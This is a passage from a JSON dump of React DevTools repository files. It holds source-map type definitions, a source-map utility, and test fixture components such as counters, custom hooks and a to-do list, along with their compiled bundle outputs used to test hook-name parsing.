normalizeSourcePath(source, this._sourceMap);\n    const metadata = metadataBySource.get(normalized);\n    if (metadata != null) {\n      const encodedHookMap = metadata[HOOK_MAP_INDEX_IN_REACT_METADATA];\n      hookMap = encodedHookMap != null ? decodeHookMap(encodedHookMap) : null;\n    }\n    if (hookMap != null) {\n      this._decodedHookMapCache.set(source, hookMap);\n    }\n    return hookMap;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/SourceMapTypes.js",
    "content": "/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport type {EncodedHookMap} from './generateHookMap';\n\nexport type ReactSourceMetadata = [?EncodedHookMap];\nexport type ReactSourcesArray = $ReadOnlyArray<?ReactSourceMetadata>;\n\nexport type FBSourceMetadata = [?{...}, ?ReactSourceMetadata];\nexport type FBSourcesArray = $ReadOnlyArray<?FBSourceMetadata>;\n\nexport type BasicSourceMap = {\n  +file?: string,\n  +mappings: string,\n  +names: Array<string>,\n  +sourceRoot?: string,\n  +sources: Array<string>,\n  +sourcesContent?: Array<?string>,\n  +version: number,\n  +x_facebook_sources?: FBSourcesArray,\n  +x_react_sources?: ReactSourcesArray,\n  +ignoreList?: Array<number>,\n};\n\nexport type IndexSourceMapSection = {\n  map: BasicSourceMap,\n  offset: {\n    line: number,\n    column: number,\n    ...\n  },\n  ...\n};\n\nexport type IndexSourceMap = {\n  +file?: string,\n  +mappings?: void, // avoids SourceMap being a disjoint union\n  +sourcesContent?: void,\n  +sections: Array<IndexSourceMapSection>,\n  +version: number,\n  +x_facebook_sources?: FBSourcesArray,\n  +x_react_sources?: ReactSourcesArray,\n};\n\nexport type MixedSourceMap = IndexSourceMap | BasicSourceMap;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/SourceMapUtils.js",
    "content": "/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow strict-local\n */\n\nimport type {\n  BasicSourceMap,\n  MixedSourceMap,\n  IndexSourceMap,\n} from './SourceMapTypes';\n\nexport function sourceMapIncludesSource(\n  sourcemap: MixedSourceMap,\n  source: ?string,\n): boolean {\n  if (source == null) {\n    return false;\n  }\n  if (sourcemap.mappings === undefined) {\n    const indexSourceMap: IndexSourceMap = sourcemap;\n    return indexSourceMap.sections.some(section => {\n      return sourceMapIncludesSource(section.map, source);\n    });\n  }\n\n  const basicMap: BasicSourceMap = sourcemap;\n  return basicMap.sources.some(\n    s => s === 'Inline Babel script' || source.endsWith(s),\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentUsingHooksIndirectly.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport React, {useEffect, useState} from 'react';\n\nexport function Component() {\n  const countState = useState(0);\n  const count = countState[0];\n  const setCount = countState[1];\n\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n\n  useEffect(() => {\n    // ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return (\n    <>\n      <div>Dark mode? {isDarkMode}</div>\n      <div>Count: {count}</div>\n      <button onClick={handleClick}>Update count</button>\n    </>\n  );\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = useState(false);\n  const [isDarkMode] = darkModeState;\n\n  useEffect(function useEffectCreate() {\n    // Here is where we may listen to a \"theme\" event...\n  }, []);\n\n  return [isDarkMode, () => {}];\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentWithCustomHook.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport React, {useDebugValue, useEffect, useState} from 'react';\n\nexport function Component() {\n  const [count, setCount] = useState(0);\n  const isDarkMode = useIsDarkMode();\n  const {foo} = useFoo();\n\n  useEffect(() => {\n    // ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return (\n    <>\n      <div>Dark mode? {isDarkMode}</div>\n      <div>Count: {count}</div>\n      <div>Foo: {foo}</div>\n      <button onClick={handleClick}>Update count</button>\n    </>\n  );\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = useState(false);\n\n  useEffect(function useEffectCreate() {\n    // Here is where we may listen to a \"theme\" event...\n  }, []);\n\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  useDebugValue('foo');\n  return {foo: true};\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentWithExternalCustomHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport React from 'react';\nimport useTheme from './useTheme';\n\nexport function Component() {\n  const theme = useTheme();\n\n  return <div>theme: {theme}</div>;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentWithMultipleHooksPerLine.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {createContext, useContext} from 'react';\n\nconst A = createContext(1);\nconst B = createContext(2);\n\nexport function Component() {\n  const a = useContext(A);\n  const b = useContext(B);\n\n  // prettier-ignore\n  const c = useContext(A), d = useContext(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentWithNestedHooks.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nconst {useMemo, useState} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n\n    return state;\n  });\n  props.callback(InnerComponent);\n\n  return null;\n}\n\nmodule.exports = {Component};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/ContainingStringSourceMappingURL.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport React, {useState} from 'react';\n\n// ?sourceMappingURL=([^\\s'\"]+)/gm\n\nconst abc = 'abc';\nconst string =\n  'sourceMappingURL=data:application/json;charset=utf-8;base64,' + abc;\n\nexport function Component() {\n  const [count, setCount] = useState(0);\n\n  return (\n    <div>\n      <p>You clicked {count} times</p>\n      <div>string: {string}</div>\n      <button onClick={() => setCount(count + 1)}>Click me</button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/Example.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport React, {useState} from 'react';\n\nexport function Component() {\n  const [count, setCount] = useState(0);\n\n  return (\n    <div>\n      <p>You clicked {count} times</p>\n      <button onClick={() => setCount(count + 1)}>Click me</button>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/InlineRequire.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport function Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/README.md",
    "content": "The JavaScript files and source maps in this directory are used to test DevTools hook name parsing code. The files here use source maps in different formats to mirror real world applications. The source for the files is located in the parent `__tests__` folder. To regenerate these compiled files, run `yarn update-mock-source-maps` in the `react-devtools-extensions` directory.\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/ToDoList.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useCallback, useState} from 'react';\n\nexport function ListItem({item, removeItem, toggleItem}) {\n  const handleDelete = useCallback(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n\n  const handleToggle = useCallback(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n\n  return (\n    <li>\n      <button onClick={handleDelete}>Delete</button>\n      <label>\n        <input\n          checked={item.isComplete}\n          onChange={handleToggle}\n          type=\"checkbox\"\n        />{' '}\n        {item.text}\n      </label>\n    </li>\n  );\n}\n\nexport function List(props) {\n  const [newItemText, setNewItemText] = useState('');\n  const [items, setItems] = useState([\n    {id: 1, isComplete: true, text: 'First'},\n    {id: 2, isComplete: true, text: 'Second'},\n    {id: 3, isComplete: false, text: 'Third'},\n  ]);\n  const [uid, setUID] = useState(4);\n\n  const handleClick = useCallback(() => {\n    if (newItemText !== '') {\n      setItems([\n        ...items,\n        {\n          id: uid,\n          isComplete: false,\n          text: newItemText,\n        },\n      ]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n\n  const handleKeyPress = useCallback(\n    event => {\n      if (event.key === 'Enter') {\n        handleClick();\n      }\n    },\n    [handleClick],\n  );\n\n  const handleChange = useCallback(\n    event => {\n      setNewItemText(event.currentTarget.value);\n    },\n    [setNewItemText],\n  );\n\n  const removeItem = useCallback(\n    itemToRemove => setItems(items.filter(item => item !== itemToRemove)),\n    [items],\n  );\n\n  const toggleItem = useCallback(\n    itemToToggle => {\n      // Dont use indexOf()\n      // because editing props in DevTools creates a new Object.\n      const index = items.findIndex(item => item.id === itemToToggle.id);\n\n      setItems(\n        items\n          .slice(0, index)\n          .concat({\n            ...itemToToggle,\n            isComplete: !itemToToggle.isComplete,\n          })\n          .concat(items.slice(index + 1)),\n      );\n    },\n    [items],\n  );\n\n  return (\n    <Fragment>\n      <h1>List</h1>\n      <input\n        type=\"text\"\n        placeholder=\"New list item...\"\n        value={newItemText}\n        onChange={handleChange}\n        onKeyPress={handleKeyPress}\n      />\n      <button disabled={newItemText === ''} onClick={handleClick}>\n        <span role=\"img\" aria-label=\"Add item\">\n          Add\n        </span>\n      </button>\n      <ul>\n        {items.map(item => (\n          <ListItem\n            key={item.id}\n            item={item}\n            removeItem={removeItem}\n            toggleItem={toggleItem}\n          />\n        ))}\n      </ul>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/bundle/index.js",
    "content": "'use strict';\n\nObject.defineProperty(exports, '__esModule', { value: true });\n\nfunction _interopDefault (ex) { return (ex && (typeof ex === 'object') && 'default' in ex) ? ex['default'] : ex; }\n\nvar React = require('react');\nvar React__default = _interopDefault(React);\n\nvar _jsxFileName = \"/Users/bvaughn/Documents/git/react/packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentUsingHooksIndirectly.js\";\nfunction Component() {\n  const countState = React.useState(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  React.useEffect(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/React__default.createElement(React__default.Fragment, null, /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/React__default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = React.useState(false);\n  const [isDarkMode] = darkModeState;\n  React.useEffect(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n\nvar _jsxFileName$1 = \"/Users/bvaughn/Documents/git/react/packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentWithCustomHook.js\";\nfunction Component$1() {\n  const [count, setCount] = React.useState(0);\n  const isDarkMode = useIsDarkMode$1();\n  const {\n    foo\n  } = useFoo();\n  React.useEffect(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/React__default.createElement(React__default.Fragment, null, /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName$1,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName$1,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName$1,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/React__default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName$1,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode$1() {\n  const [isDarkMode] = React.useState(false);\n  React.useEffect(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  React.useDebugValue('foo');\n  return {\n    foo: true\n  };\n}\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/React.createContext('bright');\nfunction useTheme() {\n  const theme = React.useContext(ThemeContext);\n  React.useDebugValue(theme);\n  return theme;\n}\n\nvar _jsxFileName$2 = \"/Users/bvaughn/Documents/git/react/packages/react-devtools-shared/src/hooks/__tests__/__source__/ComponentWithExternalCustomHooks.js\";\nfunction Component$2() {\n  const theme = useTheme();\n  return /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName$2,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/React.createContext(1);\nconst B = /*#__PURE__*/React.createContext(2);\nfunction Component$3() {\n  const a = React.useContext(A);\n  const b = React.useContext(B); // prettier-ignore\n\n  const c = React.useContext(A),\n        d = React.useContext(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\n\nconst {\n  useMemo,\n  useState\n} = React__default;\n\nfunction Component$4(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nvar ComponentWithNestedHooks = {\n  Component: Component$4\n};\nvar ComponentWithNestedHooks_1 = ComponentWithNestedHooks.Component;\n\nvar _jsxFileName$3 = \"/Users/bvaughn/Documents/git/react/packages/react-devtools-shared/src/hooks/__tests__/__source__/ContainingStringSourceMappingURL.js\";\n\nfunction Component$5() {\n  const [count, setCount] = React.useState(0);\n  return /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName$3,\n      lineNumber: 18,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React__default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName$3,\n      lineNumber: 19,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/React__default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName$3,\n      lineNumber: 20,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n\nvar _jsxFileName$4 = \"/Users/bvaughn/Documents/git/react/packages/react-devtools-shared/src/hooks/__tests__/__source__/Example.js\";\nfunction Component$6() {\n  const [count, setCount] = React.useState(0);\n  return /*#__PURE__*/React__default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName$4,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React__default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName$4,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/React__default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName$4,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component$7() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n\nvar _jsxFileName$5 = \"/Users/bvaughn/Documents/git/react/packages/react-devtools-shared/src/hooks/__tests__/__source__/ToDoList.js\";\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = React.useCallback(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = React.useCallback(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\nfunction List(props) {\n  const [newItemText, setNewItemText] = React.useState('');\n  const [items, setItems] = React.useState([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = React.useState(4);\n  const handleClick = React.useCallback(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = React.useCallback(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = React.useCallback(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = React.useCallback(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = React.useCallback(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName$5,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n\nvar ToDoList = /*#__PURE__*/Object.freeze({\n  __proto__: null,\n  ListItem: ListItem,\n  List: List\n});\n\nexports.ComponentUsingHooksIndirectly = Component;\nexports.ComponentWithCustomHook = Component$1;\nexports.ComponentWithExternalCustomHooks = Component$2;\nexports.ComponentWithMultipleHooksPerLine = Component$3;\nexports.ComponentWithNestedHooks = ComponentWithNestedHooks_1;\nexports.ContainingStringSourceMappingURL = Component$5;\nexports.Example = Component$6;\nexports.InlineRequire = Component$7;\nexports.ToDoList = ToDoList;\nexports.useTheme = useTheme;\n//# sourceMappingURL=index.js.map\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=ComponentUsingHooksIndirectly.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# sourceMappingURL=ComponentWithCustomHook.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/ComponentWithExternalCustomHooks.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireDefault(require(\"react\"));\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nvar _jsxFileName = \"\";\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction Component() {\n  const theme = (0, _useTheme.default)();\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 10\n    }\n  }, \"theme: \", theme);\n}\n//# sourceMappingURL=ComponentWithExternalCustomHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/ComponentWithMultipleHooksPerLine.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst A = /*#__PURE__*/(0, _react.createContext)(1);\nconst B = /*#__PURE__*/(0, _react.createContext)(2);\n\nfunction Component() {\n  const a = (0, _react.useContext)(A);\n  const b = (0, _react.useContext)(B); // prettier-ignore\n\n  const c = (0, _react.useContext)(A),\n        d = (0, _react.useContext)(B); // eslint-disable-line one-var\n\n  return a + b + c + d;\n}\n//# sourceMappingURL=ComponentWithMultipleHooksPerLine.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/ComponentWithNestedHooks.js",
    "content": "\"use strict\";\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst {\n  useMemo,\n  useState\n} = require('react');\n\nfunction Component(props) {\n  const InnerComponent = useMemo(() => () => {\n    const [state] = useState(0);\n    return state;\n  });\n  props.callback(InnerComponent);\n  return null;\n}\n\nmodule.exports = {\n  Component\n};\n//# sourceMappingURL=ComponentWithNestedHooks.js.map?foo=bar&param=some_value"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/external/ContainingStringSourceMappingURL.js",
